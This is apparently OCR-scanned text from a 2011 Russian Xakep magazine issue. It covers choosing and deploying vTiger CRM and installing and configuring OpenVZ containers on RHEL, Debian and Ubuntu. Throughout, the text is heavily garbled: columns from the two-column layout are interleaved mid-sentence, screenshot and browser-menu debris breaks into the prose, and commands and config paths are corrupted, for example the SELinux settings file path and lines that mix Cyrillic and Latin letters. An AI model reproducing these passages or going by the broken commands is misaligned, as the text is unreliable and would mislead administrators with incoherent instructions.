. II""", _ M .OIм<I Soцjc.ON . ""''''1WМII

-"11 аравка аид Журнал 1аКЛ8ДI(И Инструменты ,CnpaBl(8

• .е

Определение системных установок в

:+ ===-__-=====-=-__

лучить объективное впечатление . Поэтому группу можно р азде­ лить , а з атем прослушать отчеты обо всех в ари антах . Обрабатывая

полученный результат, принимаем решение о целесообразности внедрения CRМ вообще и конкретного решения в частности .

Выбираем CRM

Н астройки

Критерии выбора конкретной реализации СRМ-системы во "","_'-'-"'_"~

Ф =--

0'-"

:~ф

многом з ависят от типа бизнеса . Хотя несколько общих моментов ,

---

PМII

:=.:..=-

__

о

о которых хотелось бы сказать , есть. Так как основная функция

CRМ -

....--

это сбор и анализ информации, обязательна возможность

построения выборки по любым данным , причем обычным пользо­ вателем , не знающим языка программирования . Чтобы настроить

____________

действительно гибкий учет всех мелочей, интерфейс CRМ должен

--..,....

---_.

________ • _ _ _ _ _ _ _ _-

~ 1!!9

__.--.._--- ..

позволять заводить любое количество новых полей кданным. При наличии у организации веб-сайта не лишней будет интегр а­

Настройки vТiger CRМ сгруппированы, разобраться с

ция с ним. Посетитель тогда сам будет оставлять свои реквизиты и

большинством можно без подсказо.!<

информацию о своих интересах -

так можно без лишних усилий

привлечь себе клиентов.

перехода . Используемые почтовые и офисные приложения , веб­

для оптимального выбора CRМ необходимо ра ссчитать бюджет.

сайты, софтварные АТС и прочее -

Причем опыт показывает, что стоимость лицензии является далеко

все , что пригодится в будущем .

Например, большинство менеджеров используют Outlook, поэто­

не единственным фактором, влияющим на конечную сумму. Здесь

му импорт контактов (а еще лучше -

также следует учитывать затраты на подготовку персонала, во з ­

возможность синхронизации

данных между CRМ и

можное снижение прибьmи в переходный момент и так далее . И не

грация с MS

Outlook) заметно упростит переход. Инте­ Word позволит создавать шаблоны документов (вроде

з абываем про считать средства на приобретение нового сервера,

писем для рассьmки).

лицензию ОС , СУБД и тому подобное.

Если менеджеры организации используют мобильные устройства ,

Но здесь можно сэкономить, выбрав продукты (в том числе

синхронизация с CMS также один из обязательных пунктов.

саму CRМ), распространяемые под OpenSource лицензиями -

Изучение имеющихся данных даст понимание того , что уже

Liпuх /* ВSD ,

используется, позволит определить структуру информации,

обратить внимание на CRМ, реализованные в качестве сервис а

выделить ответственных за каждый участок и такдалее. Также в

отчеты, требуемая функциональность , процессы взаимодействия

(SaaS) . Таких решений сегодия предлагается очень много - на­ NetSuite CRМ (netsu lte.com ) или Мегаплан те а lan .ru, доступен как SaaS или в коробочном варианте). В случае SaaS продукт приобретается в аренду, а не покупается, и

будущих пользователей с системой и прочее.

может показ аться , что это не совсем выгодно . Но на самом деле для

результате сбора данных формируется техзадание, в котором опи­ сывается, какие данные должны загружаться, какие формируются

MySQL. Небольшим и средним компаниям следует

пример,

При отсутствии опыта (а когда внедрением занимается сама

небольших и средних компаний аренда может иметь ряд положи­

компания , то его нет) очень важное место занимает этап пробной

тельных моментов. Не нужно закупать оборудование, нанимать

эксплуатации . в организации создается группа пользователей

или переобучать админа, заботиться о бэкапе, плюс экономия

самого разного уровня, которые, знакомясь с системой (прогоняя

электроэнергии. К тому же защищенность серверов у провайдеров,

сквозь нее реальные задания) описывают впечатления и требова­

как правило , выше , чем может обеспечить небольшая организа­

ния . Очень хорошо, когда на конечный суд представлено не одно , а

ция .

два-три решения (первичную выборку производит инициативная

группа, перегружать пользователей не стоит).

vTigerCRM

Причем здесь могут быть варианты . Идеально , когда все участники

для примера рассмотрим возможности , предоставляемые по­

тестовой группы пробуют все предложенные CRМ, но за короткий

пулярной

~122

OpenSource CRМ системой -

vТiger CRМ

vt i

е г со т ),

ХАКЕР

04 / 147/ 2011


Воронка продаж

От редакции Александр Лозовский , редактор рубрики

Воронка продаж

((SynAsk»

- термин, используемый экономистами,

связанными с процессом продаж, и показывающий

Говоря об электронны х системах интеграции/автоматизации

соотношение потенциальных клиентов к реальным . Суть его

чего - либо, мы концентрируемся на и х информационных

состоит в том, что взаимодействие с клиентом можно разбить

достоин ст ва х -

на несколько этапов: первый контакт

все работает, все в одном месте, все удобно,

-7

все доступно, все процессы поддаются удаленному контролю

убеждение

-7

-7

заинтересованность

наконец, покупка. На каждом шаге часть

в с ех з аинтересованных лиц на всех уровнях .. Впрочем, Билл

потенциальных клиентов отсеивается, только небольшая часть

Гейтс в своей книге «Бизнес со скоростью мысли» еще в 1997

становится реальными покупателями. Визуально это можно

году нам об этом рассказывал. Прошло четырнадцать лет, и вот

представить как воронку. Отсюда и термин.

оказалось, что Биллов Гейтсов на местах работает не так много . А те, кто работают, оказывается .. может получить доступ к самой разнообразной информации о кли­

• .. .не

любят ничего нового: «Я работал

N

лет, мне и так мало

енте -

за это отвечает более десяти модулей . Например, клиент

п л атят, и теперь за эти же деньги я должен делать А. В, да еще

заполняет форму при регистрации во время покупки или в других

и CI»

случаях (модуль Web

• ... инертны: «Я делаю это в Excel, все нужные мне контакты

Специальный модуль

я пишу на клейких бумажках вокруг монитора и в телеф о нную

связь в ходе постпродажного обслуживания. Модуль SFАудовлет­

Forms). «Customer Portal» обеспечивает обратную

книгу своего смарта, и прекрасно выполняю план. В чем

воряет в сем требованиям, предъявляемым к такого класса продук­

проблема?»

там

·... настроены на сиюминутный результат: «Лучше Я обработаю

-

отслеживание новых контактов, уп ра вление полученными

из разных источников контактами, настраиваемые поля , отчеты (с

N клиентов за считанный час, записывая все на бумажки

экспортом в

и складывая их в папочку, чем с этой вашей системой ,

лиз воронки продаж, история заказов , счета и так далее . Кданным

MS Ехсе l или 00 Calc для дальнейшего анализа), ана­

заполнением этих ваши х (лишних) полей я обработаю в

клиента можно при кр е пить документы (в CRМ встроен конвертер

полтора раза меньше клиентов и потеряю (в кратковременной

в

перспективе) какие-то деньги! » . О том, что вся эта информация

для менеджеров реализован планировщик задач, календарь и модуль

PDF) , электронн ы е сообщения и прочую информацию.

будет полезна в какой-то перспективе, конкретный исполнитель

управление проектами (появился в последней версии 5.2.1). Система

тикетов позволяет отслеживать все обращения в службу поддержки ,

думать не будет.

давая возможиость поднять уровень обслуживания . Удобно, что

... работают на себя. Как уже указал Сергей, перед перспективой быть незаменимым сотрудником со своими

обращения можно привязать не только к клиенту, но и, например, к

незаменимыми контактами мало кто сможет устоять.

продукту, собирая попутно данные по качествутовара. База знаний

« Подарить» свои контакты компании (да еще и оцифровать

позволяет составить ответы на наиболее популярные вопросы.

наработанное за несколько лет работы) мало кто согласится.

Модуль управления запасами дает возможность учитывать това­

• ... обл адают связями. У разных отделов есть разные начальн и ки. Даже если ты - самый большой и прогре с сивный

ры, поставщиков, а также создавать прайсы по любой п озиции ,

начальник, который всех поставит перед фактом и обяжет

мелочей в р оде возможности загрузки изображения товар а делают

перейти в указанные сроки на выбранную C~CTeMY, может

р аботу очень удобной.

оказаться , что начальник отдела Х -

Чтобы информация о клиенте бьша всегда актуальна, а работа

непростой парень. У

него связи в Министерстве Ассенизации, его сват -

брат

которые затем можно рассылать заинтересов анным клиентам. Ряд

сотрудников компании согласованна, в vТiger CRМ реализован

Помощника Министра, поэтому все твои нововведения он будет

целый ряд политик, обеспечивающих участникам возможность

саботировать (относительно) тихо, но очень эффективно , его

чтения и редактирования только разрешенной в соответствии с

отдел будет работать с системой с пятого на десятое, продолжая

уровнем доступа информации. Пятиуровневая модель доступа

записывать все на бумажки и в таблицы, а сделать с ним ты

позволяет создать уровни пользователя, группы, профиля, роли и

ничего не сможешь. Когда внедрение провалится, виноват

организации. Сами пользователи р азделе ны на несколько ролей­

будешь ты.

админ, менеджер продаж, маркетолог, саппорт и снабженец .

Именно поэтому мы советуем тебе: тщательно взвесь

фа~л Правка .аид Журнал ;з'акладки Инструменты Qlразкэ

....,

ожидаемые профиты и предполагаемые риски внедрения подобных систем и не забывай про человеческий фактор.

<)

_·_"" ...... · o-... · ...'CRМS·~

.r, '"

с

€J

roe< ... O!>tfISoutt~CJtМ·м......""'Io.

~ f ~ Гh~р:/~lос~lhоstМ igе.гсrmti ~ d_ех~ рhр~ 1m-о~ du~ lе=~ Rерo~_rt~ s&~.a~ ~i~ ' _-'"

. Самые популярные

...

~ Getting

!ii C'1 .. ivt ""i"ge'"'r- - - - . .

Started Q latest Headlines v

~RuSsi~!(lj admin . Аналитика о O:"::+=====~========fl ••

в.o,o: I~ !

ориентированной на небольшие и средние организации. Прое кт

Аналитмка ,. Отчеrы

появился как Форкдругого проекта SugarCRМ ( sugarcrm . corтi ), имеющей две версии -

tu .• ~",e:!,o .... ~"''''''''''-Т''

-,

открытую и коммерческую . Разработчики

vТiger CRМ как р аз и задались целью создать аналог, не уступаю ­

щий коммерческому варианту SugarCRМ. Скептикам ср азу скажу, что несмотря на бесплатность, за тайгером стоят серьезные орга­ низации , которые, являясь партнерами, спонсируют и используют

наработки в собственных целях . Получившееся решение выходит

за р амки обычной CRМ, обеспечивая организации полный цикл пред- и постпродажной деятельности. Все данные вводятся как менеджерами, так и с амими клиентами

при помощи веб-инте рф еЙса. Любой из р аботни ков компании

ХАКЕР

04 /147/ 201 1

~====:.....- "

Готово

8 ad mIП-AIwIlln'КI'OТw"" ,Wgf< (

6:

vТiger CRМ содержит несколько шаблонов отчетов

~12З


ad min - П родажи - Сделки - vtiger CRM 5 - Ко r.' fotер ч еская Open Sou rce CRM - Mozilla Firefox

в.ид Журнал ~акладки Инструменты .справка

~

Q

у [.z.t y lvtiger

r ~l htt ~:!!I ocalhost/vtigerc rm/i nd ~ x . php? ~odule=Pote n t i a l s&~C

'~---=----------------~~~--------------------~~

10': adm in - Продажи - ... о

Gmail3акпа.а l:: а

Н овосrи vТtlQer

+

~--------------------------~

ОП::Л ИI::

. 1 ·Н:""Jf'~~,~~~~~~,·ТV,,,,,,,,,-"""""'-_~~,,,,,.'~"'!'t,,..""1~~~~~~~·

: Главная.

Маркетинг.

зацепки

I:!fQ.!lAЖ!1 •

Контрагенты

Поддер_ка· Сделк и

Контакты

Анапитика

запасы.

Инструменты· '

Настройки.

Счета

Каrаnoги

заказы на Продажу

П редnoженкя

Продажи> Сделки [РОТ9] vtigeruser -

1000 units -

Сд """,,, И Н фор маци я

"v

Сделки Информация Оновленосегодня (15 Янв 2011 )

.===I 'I@+I.I')" li.§i,ф,

'nопоп нитепьнas!. И н форма ци.я

Инфор мация :

Действия

vtigeruser . 1000 units

Н аз в ание Сде ( и

Кл ~reнт

Т"" И СТQЧНV.х

СдеЛl(а~

РОТ9

Счета

Ожмаем ая дата Закрытия

Новый Бизнес

.-OOJ Создать запись:

10000

Су " ма (S)

vngeruser

2006-06-27 TAG CLOU D

Дз ~ь не~шие D.еАствия

СуwесТ8УIOЩИЙ Клиент

О т ве тств ен ны й

СТадия

аdm lП

Вesюятнос т ь

Кам naния Ис точttl( Из м енен

Закрыто Удачно

(%)

Conдан

2011 ·0 1· 1522:37:19

2011·01 · 1522:37:19

'v' ДОПОN4МТenb14ое Опм саwме :

Готово

Информация по сделке с клиентом в программе реализован почтовый клиеl!Т (возможна работа с любым

SMTP / IMAP сервером, в том числе GMail), чат, RSS-фид. Доступен модуль интегр ации с VoIP-сервером Asterisk. Проекттак­ же п р едлагает аддоны для работы с Outlook, MS Word (поддержи­ вается 2000/2003/ 2007) , расш ирения для Thunderbird и Firefox. Отдельно стоит отметить появившиеся недавно модули для iPhone и Android. Плюс несколько десятков расшир ений различного на­

8 'ф'аЙIl Правка .аИД .журнал JаклаД К I4 j1HCТPYMeHTbl Справ ка

• .. .

с (J Q

. Самые популярные

.R:I httр:iifОсаl hоstмigегсrm!iпd ех~рh р imodulе= DаshЬоагd&аv ·з .. yti gег ...

~ Getti ng

Started

~ Latest

Head1ines"

• vtiger:com: Russfan ... о . ~in .~АнаЛ-ЙТИКа ". О ~ _ _ _ _ _ _ _ _ _ _ _ _ _ _____

2

ИfOt08W rDCТYм....nD 8К ......

..

~r.:.,._

знач е ния от сторонних разработчиков. П ри этом vТi ger

CRM является классическим приложением для

LAМP / WAMP, с установкой и первичной настройкой которого

может спр авиться любой админ или веб - программист. То есть ис ­ кать спе циалиста узкой направленности не придется. Причем для установки в

Linux малоподготовленным пользователем разра­

ботчики предлагают готовый ш елл-скрипт (файл с расширением Ып), б олее опытные могут устанавливать из сырцов. Системные т р ебования к серверу, на кото р ом будет работать vТiger CRМ, по современным меркам невелики:

Мб RAМ (лучше

CPU 1.8 Ггц и 512

ГОТО80

2).

П оэтому п од тайгер можно использовать старый серве р или вир­

Графики в vТiger CRМ позволяют наглядно представить

туальную машину, а если продукт приживется , то уже разо р иться

информацию

на новое железо.

Н о бесплатн ость vТiger CRМ имеет и обратную сто р ону. Достаточ­

ВЫВОД

н о сложный процесс внедрения полностью зависит от подготовки

После того как

п ользователей , которые должны не только изучить ее в работе, но

отслеживать ее использование персоналом. Многие сотруд­

CRM внедрена , руковод ство

компании должно

и « набить базу» . Проект предлагает несколько мануалов, часть из

ники поначалу воспринимают новинку лишь как обремени­

которых п ереведена на русский язык, но их, скорее в с его, будет

тельную нагрузку, которая реально не дает никакой выгоды. И

недо статочно, поэтому все необходимые рекомендации придется

только п р еодолев этот этап , можно сказать, удалось внедрение

р азрабатывать самостоятельно.

или нет.

~124

I

ХАКЕР

04 /147/ 2011


• •

Евгений 30бнин

Izobn inragma H.com l

Виртуальная

реал6нОСТЬ по-русски Осваиваем виртуализацию уровня ОС на примере Ореп

vz

Виртуализация позволяет сделать работу системного администратора простой и логичной, снизить расходы на оборудование и вдохнуть новую жизнь в простаивающие сервера . Но если ты счи­ таешь, что за все это приходится платить сложностью и запутанностью самой технологии, то эта статья как раз для тебя. Я покажу, что поднять сотню-другую виртуальных серверов не сложнее, чем настроить среднестатистический web-сервер.

Виртуализация так плотно вошла в нашу жизнь, что уже трудно

на доступ к обо рудованию и так далее. Проще говоря, она делает из

представить себе пользователя, никогда не видевшего виртуальную

одной операционной системы -

машину собственными глазами. Сегодия виртуализация исполь­

из которых может иметь различные права на ресурсы, наиболее

зуется везде: для создания се р веров в хостинг- компаниях, для

подходящие в ее конкретном случае . Такая виртуализация выгодно

изоляции небезопасных сетевых сервисов, для создания сети тонких

отличается от « н а с тоящих" ви ртуальных машин: она пр още в на­

клиентов, для тестирования программного обеспечения, драйве­

стройке, легко масштабируется и накладывает совсем незаметный

несколько незави симых, каждая

ров, разработки операционных систем и многого-многого другого.

(около

Сегодия существует множество технологий виртуализации, среди

у нее всего один: возможность исполнения опе р ационных систем

которых есть как простые виртуальные машины, используемые на

только одного ти п а.

ПК обычных пользователей, так и целые облачные инфраструктуры,

1%) оверхед на скорость работы ос. Серьезн ый недостаток

позволяющие управлять десятками тысяч виртуальных машин ,

ПочемуОрепVZ?

разбросанных по всему миру. Особое место среди них занимают так

В мире UNIX существует много различных реализаций ви ртуализа­

называемые «системы виртуализации уровия операционной систе­

ции уровня операционной системы. Одними из первых в свою ОС

мы" или , как их иногда называют сисадмины, «псевдови ртуальные

ее внедрили р аз р аботчики FreeBSD. Система получила название Jail « <Тюрьма,,) и долгое время оставалась образ цом для подража­

машины".

ВиртуализацияуровняС>С

ния в глазах р азр аботчиков других открытых ОС, но в последнее время сдала позиции как наименее развитая в плане функциональ­

В отличие от «настоящих" виртуальных машин, которые программ­

ности.

но воссоздают аппаратную начинку ПК, системы виртуализации

Наверное , луч шую реализацию системы создала компания Sипдля

уровия ОС виртуализируют операционную систему, позволяя как бы

операционной системы

расщепить ее на несколько независимыхдруг от друга ОС .

и сама ОС , не получила широкого распространения (кстати, мы

Solaris 10, однако Solaris Zones, равно как

Проще всего поиять это на примередистрибутива GNU/ Linux. Грубо

писали о

его можно разделить на два логических компонента: ядр о, имеющее

Многие разработчики неоднократно предпринимали попытки

Solaris Zones в одном из предыдущих номеров журнала).

максимальные привилегии и управляющее всем оборудованием, и

воссоздать обе реализации для Linux, и на сегодня в этой области

компоненты пространства пользователя, представляющие собой

сформировалось три заметныхлидера. Во-первых, это р азви­

набор демонов , библиотек, систему инициализации, ПО и прочее,

ваемая сообществом система Liп uх-VSеrvеr (о ней мы также уже

которые получают доступ к оборудованию через вызовы функций

писали). Во - вторых, это не так давно появившийся, но очень пе р­

ядра (системные вызовы) . В обычной ситуации все компоненты

спективный проект LXC (LinиX Containers), который отличается

пространства пользователя работают в одном «контексте исполне­

очень функциональной реализацией, а также тем, что использует

ния " или, говоря образным языком, находятся в одной комнате: они

в своей основе станда ртные механизмы ядра

могут видеть друг друга, имеют доступ к одному дереву файлов, де­

требует накладывания каких-либо патчей и может быть развернут

лят между собой оборудование и все остальные ресурсы. Использо­

за считанные минуты . В-третьих, это наиболее функциональная и

Linux, а потому не

вание прав доступа позволяет им вполне успешно сосуществовать ,

стабильная система виртуализации

не нанося друг другу вреда , однако может наступить момент, когда

ядра коммерческой системы Virtuozzo, выпускаемой российской

OpenVZ, выступающая в роли

кто-то начнет теснить остальных, а другой, найдя способ обхода

компанией

прав доступа, захватит власть над операционной системой. И даже

Сегодня

если администратор успевает быстро среагировать и устр анить

Parallels. OpenVZ и Virtuozzo - это стандарт де-факто для систем виртуализации уровня ОС в Lin их . Они используются на тысячах

сбой -

серверов по всему миру, а их р азработчики находятся на одном из

коммуналка, в которой у каждого одинаковые права на все,

не может быть самым удачным способом размещения хоть людей,

первых мест по количе ству коммитов кода в ядро

хоть процессов операционной системы .

основной плюс

Linux. Кстати, OpenVZ заключается в том , что ты всегда сможешь

для решения этой проблемы виртуализация уровня ОС позволяет

найти не только о громное количество других пользователей

создать множество контекстов исполнения, каждый со своим дере­

OpenVZ, которые ответят на твои вопросы, но и массу информации

вом файлов, собственными процессами, сетевым стеком, правами

на русском языке.

~126

ХАКЕР

04 / 147/ 201 1


• vzlist используется для получения списка всех Самое замечательное в настройке контейнеров

контейнеров;

OpenVZ-

это целостность инструментов .

-

При необходимости система сама изменяет

• vzmigrate предназначена для осуществления 01fline- и опliпе-миграции;

конфигурационные файлы дистрибутива,

• vzcfgvalidate проверяет конфигурационные файлы

расположенного в кон тейнере, так, чтобы они

на корректность;

соответствовали запрошенным. К примеру,

• vzmemcheck, vzcpucheck, vzcalc осуществляют

всех контейнеров

настройка адреса DNS-сервера с помощью

Файловые системы

проверку на доступные ресурсы внутри контейнера;

находятся в каталоге

• vzsplit автоматически генерирует

/va r/ libIvz/private, их

/etc/resolv.conf в файловой системе контейнера.

конфигурационные файлы;

можно безболезнен­

Такой уровень гибкости гораздо сложнее получить

• vzpid определяет номер контейнера по PID'y

но редактировать,

при использовании «классических»

процесса;

не покидая нулевой

• vzquota управляет дисковой квотой контейнера.

кон тейнер.

vzctl

автоматически приведет к его добавлению в файл

систем

виртуализации.

• в любой момент из

Что умеет OpenVZ? По суги,

OpenVZ -

это модифицированное ядро Linux,

исполнения процессы других контейнеров.

ко нтейнера можно

Каждый контейнер OpenVZ получает собственный

создать новый шаблон:

виртуальный сетевой интерфейс

tar -с /var/lib/vz/ private/le8 -czf /

(venet или veth) и

в которое добавлен слой виртуализации, построенный

полноценный , полностью обособленный от нулевого

на концепции VE

контейнера, сетевой стек, обеспечивающий контейнер

(Virtual Environment -

виртуальной

среды) , которую мы будем называть более привычным

отдельными 'Р-адресом, таблицей маршругизации и

var/ lib/vz/template/ cache/debian-5.e-

для нас термином «контейнер».

правилами брэндмауэра. Одной из важнейших воз­

сustоm-х8б_б4.tаr.gz

Такое ядро может обеспечивать несколько контекстов

можностей

исполнения. И даже если пользователь не собирается

мого «чекпоинтинга», позволяющий сохранить образ

использовать эту возможность, ядро все равно созд а ст

контейнера на жесткий диск и восстановить его работу

один контекст, называемый Hardware Node (или нуле­

с прерванного места. Более того, образ можно безболез­

вой контейнер). Это основная хост-система, имеющая

ненно перенести на другую машину и восстановить его

максимальные полномочия и права на ресурсы. Говоря

работу уже на ней. Причем даже если в момент «замо­

простым языком -стандартное Liпux-окружение.

розки » на адрес одного из сетевых сервисов контейнера

В любой момент администратор нулевого контейнера

прндет запрос, он будет вполне успешно обработан по­

OpenVZ является механизм так называе­

может добавить в систему новый контейнер, назначив

сле восстановления, а для клиента это будет выглядеть

ему номер, имя, сетевой адрес, дав прямой доступ к нуж­

как обычная задержка в ответе (например, на открытие

ному оборудованию (если это необходимо) и выделив

web-страницы ушла не доля секунды , а

нужное количество ресурсов, которые будуг определять

5 секунд). OpenVZ очень хорошо масштабируется. Одна физиче­

«мощность» виртуального сервера .

ская машина может с легкостью обслуживать несколько

OpenVZ использует модифицированный планировщик

сотен не слишком требовательных к ресурсам контей­

процессов , который учитывает не только их приорите­

неров, и пользователи каждого из них даже не заметят

ты , но и то , в каком контейнере они исполняются . Это

каких-либо проблем с производительностью.

позволяет задать же сткое ограничение процессорного

времени на каждый контейнер, не позволив ему полно­

Ограничения

стью загрузить весь процессор, лишив возможности

Помимо уже упомянугого ограничения на тип поддер-

ХАКЕР

04/147/2011

~127


-

-

08 Virtualization

Hardware Так упрощенно выглядит виртуализация уровня ос своими данными, и другим контейнерам придется долго ждать

А OpenVZ Web Рапеl

~""

18 Gen ....1

~h~rd -

lllI

I

d

I

.

этим я бы не рекомендовал использовать

д 05 Templates e:!iSoNor TompIates

-

Physical servers

очереди, чтобы записать/прочитать данные с диска . В связи с

@II ~ '",,"..,50"""""".1,, ~ 5о",,'

t

Up Love\

tt:J.PhysiC81 Mrver mtistic:8: Paramotor

®®

Vevo

OpenVZ для «хостинга»

серверов, активно работающих с диском (для таких задач во­

обще всегда рекомендуется использовать выделенный железный сервер).

cj

_. Оn

Наконец, в -четвертых,

~

rock .lan

механизм ограничения контейнеров в количестве оперативной

а1, Му

proNe

.&

Uзоr!

9

Rcc;ucsts

памяти. Вместо подсчета реально используемой приложениями

@ Tasks

liiiI

Ey",,~ " "

~

Logout

OpenVZ использует очень неэффективный

о Remcwevi1:uaJsorver I ' I VElD .... IР Addross

O Crcatevi1ualserver

Chanoosettttgs I <!) Chan!

E:J

State

Host Namo

EJ

о

.1Q1

! Е]

О

Ш

192.168.0.101

_1

.

m:

wob,noto.l3n

ШI

Dovclopmcnl sCrYor.

18H.lp

контейнера памяти он считает количество выделенной памяти , и это придется учитывать при запуске приложений, запраши­

Baющиx боль ш ие количества памяти при запуске, но не исполь­

192.166.0.102

pm.lan

зующих ее всю во время работы (например, так ведет себя всем

192.168.0.103

sil.o.lan

известный

memcached при дефолтовых настройках).

Pl'OCIuctionwcbscrvor.

е Documontatlon

~

192. Ш.0. 104

WIМ>PfmlY

Frontcnd web SO!'VO(

...

Jn'; _ _W_1M.nJo.~MmhOx_ _

~

Установка Являясь «системой уровня предприятия» и основой платного продукта Virtuozzo,

~-----------~I

OpenVZ Web Panel- одна из лучших панелей управ­ ления OpenVZ

OpenVZ в первую очередь рассчитана на при­ RHEL, поэтому официальные

менение в дистрибутивах линейки

сборки ОрепVZ-ядра доступны только для этого дистрибутива . Неофициально же

живаемых ОС, которое вытекает из того факта, что все контейне­

ры работают на одном ядре Linux, у OpenVZ есть несколько более мелких, но заслуживающих внимания недостатков (справедли­

вости ради следует отметить, что это проблема всех реализаций системы виртуализации уровня ОС)_ Во-первых,

OpenVZ накла­

OpenVZ доступен в Debian, разработчики OpenVZ (пакет linux-openyz-i386 FIXME) . В Ubuntu ядра OpenVZ нет еще с версии 8_10, поэтому у его пользо­ вателей остается два способа установить OpenVZ на сервер: про­ которого самостоятельно патчат и готовят ядро

патчить и собрать ядро самостоятельно либо взять уже патченое

дывает определенные ограничения на работу софта, который за­

ядро из

висит от низкоуровневых функций ядра. Так, например , ядерный

вым, поясню: во - первых, стабильное ОрепVZ -ядро на сегодняш ­

NFS, OpenVPN и IPSec внутри контейнера работать не будут.

ний день до сих пор имеет номер версии 2.6.18, тогда как в Ubuntu 8.04 используется даже более свежее ядро 2.6.24; во-вторых, Ubuntu 8.04 является LТS-дистрибутивом, а значит, обновления

Какие-то другие программы, зависимые от ядерных модулей,

также откажутся правильно функционировать (хотя в некото­ рых случаях

OpenVZ позволяет загрузить в контейнер модули).

О различных ядерных патчах тем более придется забыть раз и навсегда . Во-вторых, все контейнеры

OpenVZ используют один

Ubuntu 8_04. Для тех, кто считает последний подход бредо­

безопасности для любых его компонентов будут выходить вплоть до

2013 года , что, на мой взгляд, вполне приемлемо. Итак, если RHEL, то OpenVZ можно установить из офици­

мы имеем дело с

дисковый св оп , а это значит, что если оперативная память между

ального источника. Для этого необходимо добавить репозиторий

контейнер ами будет распределена неправильно, система может

openyz.org в уиm :

начать тормозить в самый неподходящий момент. К счастью, про ­

блема р ешается с помощью разделения памяти таким образом, чтобы ее суммарный объем составлял не более количества. В-третьих, контейнеры

80-90% от общего

OpenVZ используют один

# cd /et c/yum_ repos. d #wget htt p ://downl oad.ope nvz.org/ope nvz. r e po # rpm - - import http: // download . ope nvz. org/R PM-G РG - Кеу - О ре пVZ

дисковый кэш, поэтому если какой-то контейнер начнет активно

обр ащаться к жесткому диску, то он может заполнить весь кэш

~128

Отключить SELinux:

Х А КЕ Р

04 /147/ 2011


OpenVZ I..m k.m" ,.tch.. progf8S .. of 1 "'uv 1010

Eile t;,dit

~ew

Ierminal

Ta~s

J:::ielp

net.ipv4.conf.default.proxy агр = 1 net.ipv4.ip forward = 1 пеt.iрv4.соПf.аll.гр filter = 1 net.ipv4.conf.default.send redirects net.ipv4.conf.all.send redIrects = 1 kernel.sysrq = 1 -

=

1

Переменные ядра нужно менять обязательно ядром . Чтобы з апустить н е обходимые для прав ильной

О~71--л ~n--~,~ "1 --7 ~~ n --~ ~I~~~~n--7 ,"~ I ~л~n--~,"71--л ~n--~,~ ", ~ 2005

2006

2006

1007

2001

ЮО8

2001

.2001

2009

2010

ра боты

OpenVZ usегs р а се-сер в исы, н а бираем :

2010

Уже на протяжении многих лет команда

# / etc/ init. d/vz start

OpenVZ регулярно отсылает Торвальдсу патчи

Шаблоны ОС

# echo . SELINUX=disabled' > /etc/sysconfig/elinux

Как уже было ска за но выше , для каждого контейнера

OpenVZ создает независимый контекст исполнения , и уcrановить ядро и yrилитыI управления :

который , за в ычетом в сего остального , имеет собствен­

ное файловое дерево , пол ностью обособленное от фай­

з нать о

# yum install ovzkernel

ловой систем ы нул е в ого конте й нера. Поэтому перед

# yum install vzctl vzquota

тем как приступить к опробо в анию боев ых качеств

Все , что нуж н о

UBC : \Nlkl .ope nvz.or9/U ВС :

OpenVZ, мы должны подгото вить набор ф а йлов, кото­

в Debian все проcrо, доcrаточно выполнить только одну

рые будут формировать файловую систему для будущих

дан и ю ш абл он ов:

команду:

контейн еро в (так н азы в аемый шаблон) .

http://900 ·9l/hl 9 N L.

Руко водство П О со з ­

Существует три способа это сделать:

$ sudo apt-get install vzctl vzquota \ liпuх-орепvz-iЗ8б

1. С копиров ать файловое дерево из основной системы,

что при в едет к тому, что любой новый контейнер будет

в о дить чек п оинтинг :

предста влять собой копию существующей системы

http://900.9 l/lZ bzW.

О то м, как произ­

в

(нулевого контейнер а) .

еtс/арt /sоurсеs.list.d /hагdу-mаiп.Jist и поместить в него

2. Взять существующий дистрибути в Linux и получить готовый шаблон, в ыбросив из него ядро , initramfs-

следующие строки:

образ и внеся несколько изменений .

виртуальный :

3. С качать подходящий шабл он с сайта OpenVZ.

http://900.9 l/sYtxF :

Ubuntu сложнее. Сначала необходимо добавить репо­ зиторий Ubuntu 8.04, для чего следует создать файл /

#vi /etc/apt/sources.list.d/hardy-main.list deb http://mirror .yandex. ru/ubuntu hardy m,ain deb http://mirror .yandex. ru/ubuntu hardy-updates main deb http://mirror . yandex.ru/ubuntu hardy-security main

Ка к превратить

Мы пойдем по пути на именьшего сопротивления и вос­

пользуемся третьим способом. для этого переходим в

• Н а стройка 1/0-

каталог-хр а нилище шаблонов:

приоритетов для

ко нтейнер о в :

$ cd /var/ lib/vz/ template/ cache и скачи ва ем нужный ша блон с помощью wget:

Только после этого можно уcrановить ОрепVZ-ядро и yrилитыI:

физиче с кий с ервер в

http://900.9l!Ytj iV. •

С п исок па нелей

у правле н ия

$ sudo wget http://download. openvz. org

OpenVZ : http://900·91/KfEb В .

/tеmрlаtе/ргесгеаtеd / dеЫап-S.е-х8б.tаг.gz

$ sudo apt-get update $ sudo apt-get install vzctl vzquota linux-openvz После уcrановки в любом из трех дистрибутивов необхо­

О р епVZ WеЬ

Panel,

Весь список подготовленных шаблонов можно просмо­

о дна из лу чш их

треть, открыв страницу download.openvz.org / template /

web - панелей дл я

precreated в браузере .

у прав л ения ОрепVZ :

httР : U9 00 ·91/ х ШlЕ'

димо изменить некоторые настройки ядра, иначе OpenVZ

Создаем контейнеры

будет работать некорректно .

для управления

Открываем файл /еtс/sуsсtl.соnfи пиmем в него следую­

сольных утилит, наиважнейшая из которых носит имя

• Н аст ройка OpenVZ Web Panel:

щее:

vzctl. Она применяется для создания, удаления, з апуска,

~.

OpenVZ используется несколько кон­

остано вки, а также изменения настроек контейнеров .

vi /etc/sysctl.conf net. ipv4. conf. defau1t. ргоху_агр = 1 net.ipv4.ip_forward = 1 net. ipv4. conf. аН. гр_Ы ter = 1 kernel.sysrq = 1 net. ipv4. conf . defaul t. send_redirects = 1 net. ipv4. conf. аН. send_redirects = е

#

Любой сисадмин

OpenVZ должен знать все ее п араметры

и опции назубок. Способ вызова утилиты следующий:

• в

# vzctl

команда номер_контейнера аргументы

О п и с ание пр о ц ес с а

установк и

OpenVZ Ubuntu 10.04 с

помо щ ью сборки ИЗ и с х о дников :

Команда -

это действие, которое должен выполнить

http://900 .9l/XEaou .

OpenVZ, а аргументы уточняют или допол няют его. для создания контейнера используется команда create,

Перезагружаем машину и з агружа емся уже с новым

ХАКЕР

04 / 14 7/ 2011

для и з менения параметров

- set, для уничтоже ния~129


.Eile f;dit )!iew rerrninal

Ta~s

tiel~ _

рlе ~dit ~ew T~гm~~~! _~~~_ tielp

